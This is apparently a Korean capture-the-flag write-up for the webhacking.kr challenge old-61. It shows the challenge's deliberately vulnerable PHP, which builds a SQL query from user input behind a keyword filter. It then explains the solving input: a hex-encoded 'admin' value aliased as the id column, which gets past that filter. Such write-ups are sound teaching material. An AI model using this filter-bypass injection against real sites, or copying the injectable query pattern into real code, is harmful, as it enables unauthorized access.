> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-61-200.md).

# old-61 (200)

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M2ELOO9btDk7WaEvtZz%2F-M2ELjculY0r-uf1oPtY%2Fimage.png?alt=media\&token=841d6e58-ee7d-4f1c-9bb6-a9eb469d883d)

view-source를 클릭해 본 소스는 아래와 같다.

```php
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if(!$_GET['id']) $_GET['id']="guest";
  echo "<html><head><title>Challenge 61</title></head><body>";
  echo "<a href=./?view_source=1>view-source</a><hr>";
  $_GET['id'] = addslashes($_GET['id']);
  if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
  if(strlen($_GET['id'])>15) exit("Access Denied");
  $result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
  echo "<b>{$result['id']}</b><br>";
  if($result['id'] == "admin") solve(61);
  echo "</body></html>";
?>
```

<https://webhacking.kr/challenge/web-38/?id=0x61646d696e%20id>에 접속하면 문제가 풀린다.

id에 `0x61646d696e id`를 넣은 셈이다. `0x61646d696e`는 admin의 hex 값이다.

즉, 쿼리는 아래와 같이 된다.

```sql
SELECT 0x61646d696e id FROM chall61 ORDER BY id DESC LIMIT 1;
```

`SELECT 0x61646d696e id` 는 `0x61646d696e`이란 값의 별명을 `id`로 주어 `id`를 컬럼명으로 쓴다는 것이다. 즉, `id` 컬럼 안에 `0x61646d696e`이 들어간다. 그리고 뒤에 뭐가 오든 id 컬럼 속 `0x61646d696e`이 반환된다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M2ELre9KszcY3xbiZZK%2F-M2ENHJaflDkVsuHGXOJ%2Fimage.png?alt=media\&token=4aba7531-c37f-47da-9d9e-9cbd907cf212)
